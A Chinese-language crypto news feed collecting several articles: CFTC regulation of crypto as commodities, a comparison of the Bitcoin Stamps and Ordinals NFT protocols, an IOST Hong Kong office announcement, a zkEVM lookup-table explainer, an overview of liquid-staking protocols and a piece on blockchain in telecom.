那么何种“事物”构成应当受到CFTC监管的对象？根据美国《商品交易法》第1a（9）节的规定：“商品”一词是指小麦，棉花，大米，玉米，燕麦，大麦，黑麦，亚麻籽，谷物高粱，磨粉，黄油，鸡蛋，马铃薯（爱尔兰马铃薯），羊毛，羊毛上衣，脂肪和油（包括猪油，牛脂，棉籽油，花生油，豆油和所有其他油脂），棉籽粕，棉籽，花生，大豆，豆粕，牲畜，畜产品和冷冻浓缩橙汁，以及所有其他商品和物品，除了洋葱和电影票房收据（或与此类收入相关的任何指标、衡量标准、价值或数据）以及目前或将来处理未来交付合同的所有服务、权利和利益（电影票房收据或与此类收据相关的任何索引、度量、价值或数据除外）。 可见，美国《商品交易法》对于“商品”的定义采取了列举+概括的立法模式，除了法案中一一列举而出的商品外，只要符合其立法概括标准的，都可以被视为应受CFTC规管的对象，立法极为开放。 有赖于立法的模糊和开放性，CFTC不断通过对各类商品交易发起诉讼，通过司法判例的方式“间接”扩大了自己监管权力，在历史上曾发起过数个与SEC豪威测试类似的诉讼，以达到对各类商品贸易进行监管的目的，而在加密资产领域则是以2018年CFTC诉MyBigCoinPay公司欺诈案等一系列判例达成了对加密货币“商品”化的定义，并据此奠定自己的监管权力。 3、加密货币在CFTC的努力下成功“商品”化 CFTC在此次对某安的起诉书中直接表示：比特币、以太坊和莱特币等数字资产都应当被认定为“商品”。那么，具体来说，加密货币是如何在CFTC的努力下成为“商品”的？如前所述，由于美国《商品交易法》中对“商品”的开放式定义，使得CFTC已经积累了一系列支持加密货币属于“商品”的判例。 在2018年CFTC诉MyBigCoinPay公司欺诈案中，法官Rya Zobel就曾以判决的形式确定，该案中由MyBigCoinPay公司发行的虚拟货币MBC可以被视为商品，原因是此类虚拟货币可以在数个交易所中作为标的进行交易，也有期货合同与之挂钩。而在2018年8月的CFTC 诉Mcdonnell案中纽约东区法官Weinstein“确认了《商品交易法》（CEA）对于商品的广泛定义，也确认了CFTC有权起诉涉及虚拟货币的商品欺诈行为”。类似的判例还有CFTC 诉Bitfinex案和CFTC诉Coinflip案等一系列判例。 因此，一个简单的结论是：只要是符合美国《商品交易法》2(c)(2)(D)(i）条规定的虚拟货币交易，将被视为美国法下的“期货交易”，应按照CFTC的监管要求开展交易；除非该种加密货币的交易符合美国《证券交易法》第2(c)(2)(D)(ii）规定的例外情形。 4、写在最后 飒姐团队会在后续持续关注某安与CFTC的案件，为大家带来最新的分析。从近期美国监管机构（主要是SEC和CFTC）的一系列实践来看，美国对加密资产的监管正在走向愈加严厉的道路，同时我们也能看到美国传统的分散式金融监管体系正在发生监管边界不清、监管冲突的情形，这种监管上的冲突最后必将会变相提高加密资产运营主体的合规成本，最终导致伤害市场的结果。因此，如何捋顺监管冲突、创造性地解决监管矛盾将是美国亟待解决的问题。  ( 1 min )
    BTC NFT新协议Bitcoin Stamps势头正猛，但为何不看好它？
    原文：《为什么不看好新的比特币NFT协议Bitcoin Stamps？》 撰文：Cookie，律动 BlockBeats 近日，新比特币 NFT 协议 Bitcoin Stamps 因「更永久的存储」而受到一些关注。不同于 Ordinals 协议的将数据存放在「见证数据」，Bitcoin Stamps 利用 2014 年就诞生、曾为「Rare Pepes」提供支持的 Counterparty 协议，将插入到 UTXO 输出中的图片数据 base64 编码广播到比特币网络，使全节点不存在过滤图片数据的可能。（推荐阅读：《比特币NFT新风口袭来，一文浅析BTC Stamps协议》） 虽然比特币新 NFT 协议 Bitcoin Stamps 近日的新增 NFT 数量超过了 Ordinals 协议，不少比特币 NFT 玩家也已经「打了防身」。但是，笔者并不看好 Bitcoin Stamps 的前景。 为什么不看好 Bitcoin Stamps 呢？ 笔者分别在 UniSat 与 stampchain.io 上传了大小为 254 字节的一张 Punk 图片。刻录同一张图片，所需要花费的价格相差了 10 倍多。 UniSat（Ordinals） 2017 年的 SegWit 升级的「见证折扣」使通过 Ordinals 协议刻录出来的比特币 NFT 能够相比于 Bitcoin Stamps 协议能够得到 75% 的优惠，但即使我们把 UniSat 的刻录费用乘以 4，也仅仅只有约 24 美元，而 Bitcoin Stamps 协议收取的手续费用则高达约 85 美元。多出来的那部分是啥？笔者也暂且蒙在鼓里… 当然，我们也可以不选择使用 stampchain.io 上提供的「官方代打」服务，转去选择使用 Counter Wallet 自助刻录。但是自助的过程相当繁琐，要安装配置 Counter Wallet，要把图片转换为 Base64 字符串…此外，stampchain.io 作为「官方代打」收取如此高昂的费用也让比特币 NFT 社区觉得反感。毕竟，在没有版税机制的比特币 NFT 圈，许多玩家乃至项目方都是「用爱发电」，比特币免费和公平的精神是比特币 NFT 玩家与项目方之间建立起良好信任的基石。 通过 Ordinals 协议刻录的比特币 NFT 大小仅受见证数据字段的 4 MB 大小限制，可刻录的数据类型即 MIME 类型，从文本、图片、动图到音乐、视频、HTML 文件通通都支持。第 466 个被刻录出来的比特币 NFT，正是 id Software 的经典游戏「Doom」。 而 Bitcoin Stamps 则排除了 MIME 类型，图像数据限定为 jpg、png、gif 与 webp 格式，且大小限制为 7 KB。大小限制与上面提到的成本问题，官方建议上传的文件为 24*24 像素、8 位色深的 png 与 gif 文件。 官方说这种限制很适合像素艺术。好吧，与 Ordinals 相比，确实是有种在小小的邮票上作画的感觉... 不过，既然有了 Ordinals 这块更大的「画布」，为什么还要用 Bitcoin Stamps 呢？ Bitcoin Stamps 协议是将图像的二进制内容编码为 base64 字符串并将此字符串插入「Description」字段并将数据分块插入到交易输出中，这样使得图像数据成为「基础块数据」，从而无法被全节点过滤。 Ordinals 协议则是将数据插入到了「见证数据」部分，全节点可以选择丢弃「见证数据」。在「比特币 NFT 开荒进行时：Ordinals 协议、FOMO 和争论」一文中，笔者曾提及比特币核心开发者 Luke Dashjr 快速开发了一款补丁供矿工筛选并过滤包含 Ordinals 协议创造的比特币 NFT 的交易广播。 这表面上是一个技术决定的问题，但是实际上是一个市场（矿工）决定的问题。目前来看，Ordinals 协议正蓬勃发展，既有 Magic Eden 这样的大 NFT 市场入场，也有布加迪这样的顶级 IRL 品牌决定通过 Ordinals 协议发行 NFT 系列。我们真的会看到比特币网络的全节点们形成共识抵制 Ordinals 协议吗？ 根据 @smyyguy 的数据，3 月份只有 0.3% 的矿工收入来自 Ordinals 协议。Ordinals 协议还很年轻，天知道会不会真的发展到影响比特币网络的运行，又哪能知道届时的影响是好是坏... 结语 更贵、更低的自由性与只存在于叙事层面的「永久性优势」，是笔者不看好 Bitcoin Stamps 协议的原因。虽然近日来 Bitcoin Stamps 的新刻录数量超过了 Ordinals，但等「防身热潮」过去后，Ordinals 协议大概率还是会重新占回上风。毕竟，Ordinals 协议的配套基建已经快速发展，众多蓝筹项目已经在 Ordinals 生态中占好坑位，协议本身甚至已经被 fork 到了莱特币与狗狗币上，这些都不是 Bitcoin Stamps 可以比拟的，也是受其自身的技术限制而难以追赶的。  ( 3 min )
    厚积薄发，风起香江｜IOST 香港办公室正式落成
    2023年4月7日，IOST宣布其香港办公室正式落成，香港市场团队组建完毕，并已陆续开始开展 IOST 在港业务的合作与接洽。作为 IOST Web3.0 国际化生态布局过程中的关键性一步，这标志着 IOST 将以香港为中心，推进多元化国际合规扩张，加速生态建设与发展。 自2022年10月31日香港财经事务与库务局（财库局）正式发布了《有关香港虚拟资产发展的政策宣言》，香港成为了亚洲最为国际化、经济活动最频繁的金融地区之一，正式加入了世界虚拟资产中心的竞争浪潮。 紧随其后，2023年2月20日，香港证监会在以往虚拟资产监管框架的基础上，发布了《有关适用于获证券及期货事务监察委员会发牌的虚拟资产交易平台营运者的建议监管规定的咨询文件》，这标志着香港对 Web3.0 行业的监管即将进入落地阶段，更加详实而具有可操作性的规范正呼之欲出。香港正吸引着越来越多虚拟资产相关企业在港设立业务，来共同推动 Web3.0 和元宇宙等领域的数字化、智能化创新发展。 “此次 IOST 香港办公室的正式落成，对于 IOST 的国际化生态战略布局而言颇具意义，它将有利于推动 IOST 全球开发者的协同合作，共同构建N+1区块链创新生态同盟。” IOST Co-CEO Blake 表示，“ IOST 一直致力于创新、改进和扩大区块链技术的影响力，IOST正加速推动生态战略规划布局，为加密领域的广大开发者、优质项目提供更多支持，以进一步加速 IOST 的多链生态落地。” IOST 自2017年成立以来，创造了一个高性能、高安全性、治理透明、生态完整，且可持续发展的去中心化经济体系，拥有数量庞大的开发者社区，市场影响力辐射至全球近30个国家。 主网升级后，IOST2.0 将拥有更高的吞吐量与可用性，成为真正的 Web3.0 区块链操作系统。IOST2.0 - The Merge IOST 将采用 Beacon Chain + Smart Chain 架构方案兼容 EVM，二者通信将使用标准 Engine API。 另外，IOST2.0 将继续演进升级多条子链，这些子链中，既有通用的 EVM 的智能合约链，也有专门用途的子链，如 NFT 链，游戏链，AI Native 链等等。 截至今日，IOST 已在北京、新加坡、东京、首尔、马德里、里斯本和香港等多地点设有专项办公室。 IOST 香港负责人 Carter 强调：“香港正在塑造其全球 Web3.0 中心地位，不断赋能数字经济新的活力和机遇。 IOST 香港办公室正式落成后，IOST将进一步推动与香港本地政府、组织、企业间的交流与合作，持续完善 IOST 香港生态系统建设。此外，IOST在香港将从四大层面进行战略布局，调整生态系统矩阵，协同推进：推动 IOST 在港合规进程；提高 IOST 的流动性；推动 IOST 的服务及生态在港落地；增强 IOST IP 的国际知名度和市场影响力。 Carter（IOST 香港负责人），拥有香港科技大学计算机工程学士学位和工程企业管理硕士学位，在信息术、移动互联网、移动游戏、电子竞技、Web2 和 Web3 项目领域拥有超过18年经验。2018年以来，他曾在香港和新加坡创立并领导过两家成功的区块链公司，为客户提供包括加密衍生品和结构化产品、DeFi、NFT交易一系列前沿服务。 近日，加拿大 Web3 投资机构 BitValue 与 IOST 联合推出了500万美金生态激励基金，为全球开发者提供更多支持，加速 IOST 生态建设和发展。通过利用双方丰富的区块链行业经验和全球化的投资布局，将为这个生态系统注入更多的资源和创新性。IOST相信，这个生态激励基金将加速 IOST 生态落地，实现 IOST 应用层和链上用户的指数级增长。 本次基金计划分为「新生态系统基金」和「加速器基金」两部分，将对不同发展阶段的 Web2.0 和 Web3.0 项目提供从资金、技术、通证模型到市场宣发、社区建设、交易平台对接等定制化辅助服务，以及香港市场专属支持。 1.市场调研：BitValue 与 IOST 拥有区块链市场专业调研经验，可提供行业内最具深度的行业研报，为项目的孵化与发展保驾护航。 2.通证设计：有来自世界顶级投行的专业精英，将为项目方提供最适合其发展的经济模型，在项目启动初期助力孵化。 3.项目架构设计：深度布局全球市场，持续关注最热门、优质的赛道应用，可为项目方提供具有针对性的成功案例，予以借鉴。 4.品牌宣发：拥有全球一线媒体资源和用户数量庞大的优质合作社区，能为项目方的全球品宣及运营提供有力的媒体支持。 1.非稀释性资本：将在初创开发团队在 IOST 链上构建应用程序，接入 IOST 主网，熟悉链上系统工具遇到问题时，提供非稀释性资本。 2.FA：将为没有行业经验的优质开发者团队提供 FA 支持，让早期项目快速获得启动资金。 3.激励奖金：将以用户基础、用户活跃度、TVL为参考，对初创团队提供不定期激励奖金。 1、在港合规咨询 · 行业 KOL、专家学者、政策研究人员资源对接 2、产品、服务在港落地 · 香港本地或来港的 Web2 机构、企业落地扶持 3、增强国际知名度和市场影响力 · 香港本地一线媒体及社交平台资源支持 4、扩展国际流通性 · 生态系统资源对接 注：如果您在香港有以上任意相关资源或合作意向，欢迎随时联系。 IOST 香港办公室邮箱：hk@iost.io 作为亚洲及全球的金融中心，香港的 Web3.0 产业发展已取得了诸多显著成果，而 IOST 将以香港为重要基点，联动全球各大社区，聚焦区块链网络层（EVM）、中间件层（基本的金融服务、数字身份、DAO 治理）、应用层（NFT、DeFi、GameFi、SocialFi）、访问层（钱包、浏览器、聚合器）等加密行业前沿领域，深耕区块链核心技术，整合完善生态建设，持续投资和支持全球范围内的 Web3 .0 潜力项目。 未来，IOST 将携手全球合作伙伴，一起打造精细化、差异化、多元化的 Web3.0 国际新生态，共掘数字经济创新发展之潜能，催生新产品、新模式、新业态，开拓数字经济健康可持续化发展新道路，协同共谱 Web3.0 未来新篇章。  ( 2 min )
    为什么说“小表模式”zkEVM更为高效？
    前言：以太坊虚拟机是建立在以太坊区块链上的代码运行环境，合约代码可对外完全隔离并在EVM内部运行，其主要作用是处理以太坊系统内的智能合约。之所以说以太坊是图灵完备，是因为开发者可以使用Solidity语言创建运行于EVM上的应用程序，一切可计算的问题都能计算。但仅是图灵完备还不够，人们还试图将EVM封装在ZK证明系统里，但问题是封装时会产生大量冗余。Fox所发明的“小表模式”zkEVM，在保证原生的Solidity以太坊开发者能无缝迁移至zkEVM的同时，还将大幅削减封装EVM到ZK证明系统时产生的冗余成本。 EVM自2015年问世以来正在经历一场史诗级的ZK改造。这场大改造主要有两个方向。 第一个方向就是所谓的zkVM赛道，该赛道项目致力于将Application的性能提升到最优，而与以太坊虚拟机的兼容性并不是首要考虑的问题。这里有两个子方向，其一是做自己的DSL (Domain Specific Language)，比如StarkWare正致力于推广Cairo语言，推广难度并不小。其二是目标兼容现有的比较成熟的语言，比如RISC Zero致力于让zkVM兼容C++/Rust。该赛道的难点在于因为引入了指令集ISA,导致最终输出的约束更复杂 第二个方向就是所谓的zkEVM赛道，该赛道项目致力于EVM Bytecode的兼容，即Bytecode级别及其以上的EVM代码都通过ZkEVM产生对应的零知识证明，这样以来原生的Solidity以太坊开发者会可以无成本迁移至zkEVM。该赛道选手主要有Polygon zkEVM、Scroll、Taiko和Fox。该赛道的难点在于兼容EVM这样一个并不适合封装在ZK证明系统时产生的冗余成本。Fox经历长时间的思考与论证，终于找到了从根本上消减第一代zkEVM巨大冗余的那把钥匙：“小表模式”zkEVM。 数据和证明电路是zkEVM生成证明的两大核心要素。一方面，在zkEVM中，证明者需要所有交易涉及的数据以证明交易带来的状态转移是正确的，而EVM中的数据量大且结构复杂。因此，如何整理和组织证明所需的数据便是构建一个高效的zkEVM需要仔细考虑的问题。另一方面，怎么通过一系列的电路约束高效地证明（或检验）计算执行的有效性与正确性，则是保证zkEVM安全性的基础。 我们首先谈第二个问题，因为这是所有设计zkEVM的团队都需要考虑的问题，这个问题的本质其实就是“我们到底要证明什么？”而目前大家对这个问题的思路都是相似的，由于一个交易（或其涉及的op-code）可能是多种多样的，直接按顺序证明每一步的操作带来的状态改变都是正确的显得不现实，因此我们需要分类证明。 图1:大表、小表两代 zkEVM解决方案 例如，我们将每次stack中元素的变化都放在一块，专门编写一个stack电路证明，为单纯的算术操作专门编写一套的算术电路等等。如此一来，每个电路需要考虑的情况就变得相对简单。这些不同功能的电路在不同zkEVM中有不同的名字，有人直接称其为电路，也有人称其为（子）状态机，但是这个思想的本质都是一样的。 为了更清楚的解释这么做的意义，我们举一个例子，假设现在要证明加法操作（将stack的上2个元素取出来，并将他们的和放回stack顶端）： 假设原先的stack是[1,3,5,4,2] 则如果不分类拆分的话，我们需要设法证明进行完上述操作后stack变为[1,3,5,6] 而如果进行了分类拆分的话我们只需要分别证明以下几件事： stack电路： C1：证明[1,3,5,4,2] pop出2和4后变为[1,3,5] C2：证明[1,3,5] push(6) 后变为[1,3,5,6] 算术电路： C3：a=2,b=4,c=6，证明a+b=c 值得注意的是，证明的复杂程度和电路需要考虑的各种情况的数量有关系，如果不分类拆分的话，电路需要覆盖的可能性将会非常巨大。 图2: 第一代zkEVM采用的大表模式 而一旦分类拆分了，每一个部分的情况将会变得相对单纯，从而证明的难度也会显著减小。 但是分类拆分也会带来其他问题，那便是不同类别电路的数据一致性问题，例如在上面的例子里，我们实际上还需要证明以下两件事： C4：”C1中pop出来的数” = “C3中的a和b” C5：“C2中push的数” = “C3中的c” 为了解决这个问题，我们回到了第一个问题，即我们要如何组织交易涉及的数据，下面我们接着探讨这个议题： 一个直观的方法是这样的：通过trace，我们可以拆解出所有交易涉及的每个步骤，知道其涉及的数据，并通过向节点发送请求以获得不在trace中的那部分数据，随后，我们将其如下排列成一个大表格T： “第一步操作” “第一步操作涉及的数据” “第二步操作” “第二步操作涉及的数据” … “第n步操作” “第n步操作涉及的数据” 如此一来，在上面的例子中，我们就会有一行记录着 “第k步：加法” “a=2, b=4, c=6” 而上面的C4便可以被如下证明： C4(a)：C1 pop 出的数和大表T中的第k步一致 C4(a)：C3 的a和b和大表T中的第k步一致 C5也是类似的。这个操作（证明一些元素在一个表中出现过）被称为lookup。lookup的具体算法我们不在本文中详细介绍，但是可以想象，lookup操作的复杂度与大表T的大小密切相关。因此，现在我们回到第一个问题：如何组织证明会用到的数据呢？ 图3: Fox所发明的“小表模式”zkEVM 我们考虑如下一系列的表格构造： 表格Ta： “类型a的第一个操作” “类型a的第一个操作涉及的数据” “类型a的第二个操作” “类型a的第二个操作涉及的数据” … “类型a的第m个操作” “类型a的第m个操作涉及的数据” 表格Tb： “类型b的第一个操作” “类型b的第一个操作涉及的数据” “类型b的第二个操作” “类型b的第二个操作涉及的数据” … “类型b的第m个操作” “类型b的第n个操作涉及的数据” … 如此构造多个小表，这么做的好处是当我们可以根据需要的数据所涉及的操作的类型，直接在对应的小表中进行lookup，如此一来，便能很大程度的提高效率。 一个简单的例子（假设我们每次只能lookup一个元素）是如果我们要证明a~h这8个字母都存在[a,b,c,d,e,f,g,h]中，我们需要对大小为8的表进行8次的lookup，但是如果我们把表分为[a,b,c,d]和[e,f,g,h]的话，我们只需要对这两个大小为4的表分别进行4次lookup就可以了！ 在FOX这个layer2的zkEVM中便使用了这种小表的设计以提升效率，为了保证在各种情况下都能完备的证明，对于具体的小表拆分方式需要仔细的设计，而提升效率的关键则在于对表的内容的分类与其大小的平衡。尽管将完整的zkEVM在这个框架中实现需要庞大的工作量，我们预期这样的zkEVM将会在性能方面有突破性的进步。 结论：Fox所发明的“小表模式”zkEVM，在保证原生的Solidity以太坊开发者能无成本迁移至zkEVM的同时，大幅削减封装EVM到ZK证明系统时产生的冗余成本。这是zkEVM结构的一次重大变革，将对以太坊扩容方案产生深远影响。  ( 2 min )
    以太坊上海升级一周倒计时：提前复苏的 LSD 赛道还有哪些机会？
    原文作者 |Thor Hartvigsen 原文编译 | 白泽研究院 以太坊主网还有一星期就要启动上海升级了。 流动性质押衍生品协议（LSD）及代币似乎在过去 24 小时内苏醒了： • $LDO +8.5% • $RPL +8.9% • $SWISE +11.3% • $FXS +7.6% • $SD +15% ETH 流动性质押已发展成为了一个价值 150 亿美元以上的市场。所有这些协议都将在不到一周的时间内为上海升级所带来的市场变化做准备。 自今年年初以来，通过流动性质押的 ETH 总量从 680 万增至 823 万 ETH，增长了 21%。上海升级之后，无法以真实价值赎回 ETH 的风险将消失。 因此，在更大的时间范围内，我强烈希望这会导致 ETH 大量流入 LSD 协议，因为这会为用户增加更多收入。 抵押的 ETH 总量：44.1 万个 ETH 2023 年第一季度发展情况： • 新增 9 万个 ETH • 市场份额从 4.9% → 5.3% • $RPL 价格 +137% 该协议的 Atlas 升级将于 4 月 18 日上线，将允许用户解除 ETH 质押，同时引入 Gas 优化、更高的节点运营商奖励和上线 8 ETH 迷你矿池。因此，在此之后仅用 8 ETH 就可以运行一个节点，并且回报会更高。 运行节点/迷你矿池时，用户必须将 10%-150% 的抵押 ETH 锁定为$RPL作为抵押品（协议保险）。因此，在 Rocket Pool 上质押的 ETH 数量越多，$RPL市值/价格就越大。进一步坚实了代币经济学。 质押的 ETH 总量：12.8 万个 ETH 2023 年第一季度发展情况： • 新增 8.2 万个 ETH (+175%) • 市场份额从 0.7% → 1.6% • $FXS 价格 +122% Frax 上质押 ETH 的数量在今年实现了最大的增长，并且市场份额继续快速上升。 Frax 通过其 frxETH 和 sfrxETH 的双代币模型继续提供目前市面上最高的质押 APR。 此外，Frax 还将进一步升级。在上海升级不久后，Frax 将升级为 V2，除了可以解除 ETH 质押以外，还将增强 frxETH 的去中心化验证机制。在 V1 中，只能由内部白名单运行节点。而在 V2 中，任何人都可以成为节点。 Manifold finance 提供 DeFi 中间件解决方案，包括 MEV 优化、为用户和验证者构建区块等。 几天前，Manifold 宣布正在开发他们自己的 LSD 协议——mevETH。 mevETH 将是一个使用 LayerZero 技术的全链代币，旨在通过 MEV 机会增加收入来提供更高的质押收益。他们已经从 Cream Finance 获得了 25000 ETH，并计划在未来几个月内推出。值得关注一下。 质押的 ETH 总量：595 万个 ETH 2023 年第一季度发展情况： • 新增 109 万个 ETH (+22.5%) • 市场份额从 74% → 72.3% • 协议的收入：1.17 亿美元 • $LDO 价格 +152% 虽然 Lido 已经失去了一些市场份额给了竞争对手，但它仍然是业内最大的市场参与者，并且是仅次于 Uniswap 的第二大收费协议。 质押的 ETH 总量：9.4 万个 ETH 2023 年第一季度发展情况： • 新增 1 万个 ETH (+12%) • 市场份额从 1.28% → 1.18% • 协议的收入：168 万美元 • $SWISE +128% Stakewise 目前正在致力于他们的 V3 升级，金库将成为该协议的关键组件之一，将以模块化质押的形式呈现：任何人都可以创建金库，用户可以自由选择将 ETH 存入哪个金库（不同的收益率、稳定性等）。 Stader 已经在 Polygon、Fantom、BNB Chain 等多个链上获得了 1.2 亿美元的 TVL，并将很快推出自己的LSD 协议——ETHx。 ETHx 的核心功能之一是任何人都能够仅使用 4 ETH（以及价值 0.4 ETH 的 $SD ）运行节点。 下表展示了市面上的主流 LSD 供应商及其各自的质押量。毫不奇怪，frxETH 的 ETH 质押量在过去三十天内相对增长的最多。只要他们能够持续提供最高的收益，这种增长就可能会持续下去。 下表概述了本文提到的协议以及原生代币的数据。 质押 ETH 的价值/市值是这些原生代币交易估值的良好指标。 ​ 高数字 = 较低的估值，这表明鉴于抵押 ETH 的价值，$LDO 的交易价值很高。 当然，还应考虑其他因素，例如即将到来的协议升级、代币经济学升级等。根据该指标，$FXS 的交易价值非常高，这是因为 Frax Finance 不仅仅是一个 LSD 协议，而且还拥有许多其他的创收产品。 我相信所有这些 LSD 协议都有未来可以增长的理由，尤其是随着 ETH 流动性质押市场的扩大。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 3 min )
    区块链如何重塑800亿美元电信行业？
    原文：《掘金800亿美元市场 区块链如何重塑电信行业？》 作者： Zelda Conflux代币CFX是今年表现最好的代币之一，自1月以来最高涨了近20倍，即使最近有所回落，也有逾16倍涨幅。 而推动它上涨的主要动力之一是由于Conflux与中国电信将推出支持区块链的BSIM卡。近期，Conflux接受CoinDesk采访时再次透露与中国电信的合作细节——BSIM卡的存储容量和计算能力是传统SIM卡的10倍以上，换用BSIM卡的用户将能安全存储数字资产，便捷地转移数字资产，并在多种应用中展示资产。 据悉，Conflux正在开发一款将封装对BSIM卡访问的移动应用程序，从而帮助用户根据他们的传统习惯管理数字资产，而无需了解加密密钥。该卡被认为是用户与基于加密货币的应用程序进行交互的独特入口，SIM卡用户可以通过升级BSIM卡转化为Web3用户。 如今，区块链在电信行业的应用越来越广泛，Conflux与中国电信的合作只是其中之一。区块链技术将在安全、数据管理和支付方面提高电信运营的效率和透明度，从而节省大量成本，提高用户体验。本文盘点目前区块链在电信行业的实际应用案例，并探索区块链如何改变电信行业。 市场研究和咨询服务提供商Fact.MR 报告显示，到 2033 年，全球区块链在电信市场的价值将达到 800 亿美元，预测2023 年至 2033 年，该市场将以 74.8% 的复合年增长率飙升。目前，电信+区块链市场已经有一些创新项目，R3PO对此做了盘点。 Conflux是目前中国唯一一个合法的公链，将与中国电信合作开发基于区块链的SIM卡。双方将于今年晚些时候在香港推出首个BSIM 试点项目，随后可能会在上海等地进行试点。BSIM卡将管理和存储用户的公钥和私钥，并以私钥不退出卡的方式进行数字签名。BSIM卡将允许用户安全地存储数字资产，方便地转移数字资产，并在各种应用中显示其资产。 BSIM卡将为用户提供专用存储空间，比传统SIM卡大10到20倍，运算能力提升数十倍。BSIM卡基于区块链技术，旨在降低用户进入Web3和元宇宙的门槛，让手机以更安全、更高效、更合规的方式接入虚拟世界成为可能。 Telcoin是第一个在移动通信和区块链技术的快速、无边界特性之间发挥协同作用的加密货币，致力于在全球范围内连接移动网络，实现电信移动货币、预付费信贷和支付后计费平台的轻松转换。 Telcoin 仅由 GSMA （全球移动通信系统协会）附属移动网络提供商分发，用户将把他们的钱包完全集成到 Telcoin API 中，该 API 将记录用户的电话号码、公钥和一个私人加密密钥。 Syntropy的分布式自主路由协议（DARP）构成了 Syntropy 网络的主干，将所有节点、计算机和服务器连接到一个具有内置加密和智能路由功能的去中心化全球网络中。其作用类似于Waze（GPS应用程序），帮助引导互联网流量以替代路径到达目的地，进而提高互联网速度和可靠性。 Wayru开发了一个全新的全球兼容热点网络和一个硬件设备（称为 Genesis），供个人共享他们的互联网连接以换取加密货币。任何人都可以购买其Hotspot Pool 代币来支持网络。 Wayru 共享经济模式为社区、企业家和小企业提供了独立构建、拥有和运营互联网网络的基本框架。该网络将重点关注降低集中式互联网的运营成本，使用 Algorand 的区块链处理网络上的电信和其他交易。使用网络产生的每100美元收入中，大约有40美元用于维持网络运行，剩下60美元的奖励。这笔钱在Wayru和Pool代币持有者之间分配，持有者得到三分之二，Wayru得到三分之一。 EMG是Emeldi Group旗下的Web3公司，开发了一套 Web3 应用程序，以满足贫困社区的电信需求。这些应用程序之一将专注于改进和简化客户为获得电信服务而进行身份验证的过程。目前的传统流程需要新客户亲自到移动运营商的实体店签订合同，提供他们的身份证并签署数十页的纸质合同。EMG 的应用程序旨在集成智能合约，实现一键式身份验证流程。 此外，EMG正在致力于创建一个Super App，它将结合多种服务，包括出租车或汽车租赁、订餐、视频通话和消息传递等传统服务，以及基于区块链的支付选项。 PKT是一个开源社区项目，通过让任何人成为当地社区的ISP并从他们的互联网连接中获得被动收入，将家庭的互联网连接货币化。PKT发布开源PacketCrypt算法，并声称 PacketCrypt是有史以来第一个带宽工作量证明算法。其产品“PKT Cube”是一种连接到PKT区块链的技术，是由PacketCrypt支持的第一层协议。PKT Cube使世界上任何一个人都能将其未使用的互联网带宽货币化，并每60秒以PKT现金补偿用户已经支付但目前正在浪费的带宽。 电信行业正面临互联网带宽需求极速增长的挑战。数据显示，受疫情和技术趋势影响，近几年带宽需求增加了一倍多。而伴随VR/AR应用程序、区块链等技术成为主流，这种增长仍在继续。但目前的基础设施却受制于几十年的旧协议，无法跟上需求的暴涨。当前，每个电信公司和互联网服务提供商(ISP)都必须面对两个重大问题。 一方面，ISP难以跟上不断增长的消费者需求。遇到延迟增加（也称为滞后）或服务中断，已经屡见不鲜。比如： 未来，带宽需求还将高速增长。根据华为预测，2030年全球人均月无线蜂窝网络流量增长40倍，达到 600GB。增长原因主要在于，一是虚拟现实游戏和增强现实应用，使用的流量是普通游戏和应用的2到3倍；二是在线APP将继续迎来巨大增长；三是越来越多的偏远地区将接入互联网。以上都将带动消费者对带宽需求的增长，而互联网服务提供商却难以跟上这种增长。国际电信联盟 (ITU) 曾透露，到 2030 年，需要大约4280 亿美元，才能将30亿未接触到互联网的人连接到互联网。 也难怪，美国科技巨头Meta CEO马克·扎克伯格曾对外表示，要让用户享受无缝的 Metaverse，可能需要5到10年的时间。 电信公司已经投入大量资源来建设他们的服务器和数据中心，用光纤连接全球各地的家庭，并全天候照顾这些资产。但是现有的基础设施却有70%没被使用。 那么，如果大量的带宽没有使用，怎么会出现拥堵呢？这正是目前互联网基础设施建设方式的局限性所在。举个例子： 只有一条从郊区通向市中心的道路，在高峰期，这条路会出现交通拥堵，而且，除非严重浪费资源，我们根本不可能把它修得足够宽，让所有这些车一下子都通过。但是，一天中其他时间，这条路却几乎没有任何交通。 同样的问题也出现在互联网带宽上。 带宽货币化，区块链如何解决网络拥塞问题？ 电信公司可以通过区块链技术创建去中心化的网络，使得用户可以与其他人分享自己多余的带宽，以换取加密货币或其他奖励，同时也可以减少网络拥塞问题，提高网络整体性能。也许未来，任何人都可以使用区块链将未使用的互联网带宽货币化，从而赚取被动收入。 此外，区块链技术还将在以下方面改善电信行业现状。 欺诈检测是通信服务提供商领域的一个基本问题。据 GSMA （全球移动通信系统协会）消息称，该行业每年的欺诈成本超过 380 亿美元。使用区块链技术则可以有效改善这一问题。 以漫游使用场景为例，当从另一个国家拨打电话时，所有生成的数据必须在始发国的运营商和目的地国家的运营商之间进行核对。但在计费时，由于没有通用的数据库，存在信息不对称造成的欺诈风险。如果该信息存储在区块链中，这个问题就会得到解决。 当前的漫游结算和补偿系统非常缓慢、昂贵并且需要耗费大量精力。在这种情况下，使用部署在区块链网络中的“智能合约”，将允许各方实时达成协议，并可能使用代币系统在它们之间进行支付。 根据联合国国际电信联盟(ITU)的一份最新报告显示，全球仍有近30亿人口从未使用过互联网，这一数字约占全球总人口的37%。据联合国机构称，超过12%的人口无法访问互联网。 区块链可用于创建数字身份系统，使人们无需传统形式的身份证明即可访问移动数据和电信服务。同时，由于智能合约，电信公司可以创建一个身份识别和文件系统，不需要客户在办公室签署大量文件。 尽管Web3世界的流行可能还需要五到十年的时间，但区块链技术的确正在重塑传统互联网与电信行业。Web2时代的电信公司依赖于通过SIM卡、订阅和直接计费的方式服务用户，但这些将在Web3世界受到挑战。 对于电信运营商来说，必须全面重新思考将如何在更加开放的Web3世界和去中心化基础设施中运营，也需要思考如何在内容、数据、ID和产权主要由用户拥有和控制的世界中提供价值，以及如何营销、分发和运营自己的服务。我们也期待看到区块链技术如何为电信行业创造新的增长和创新机会。  ( 2 min )
    Mt.Gox债权人还款注册已结束，计划于10月31日之前完成部分还款
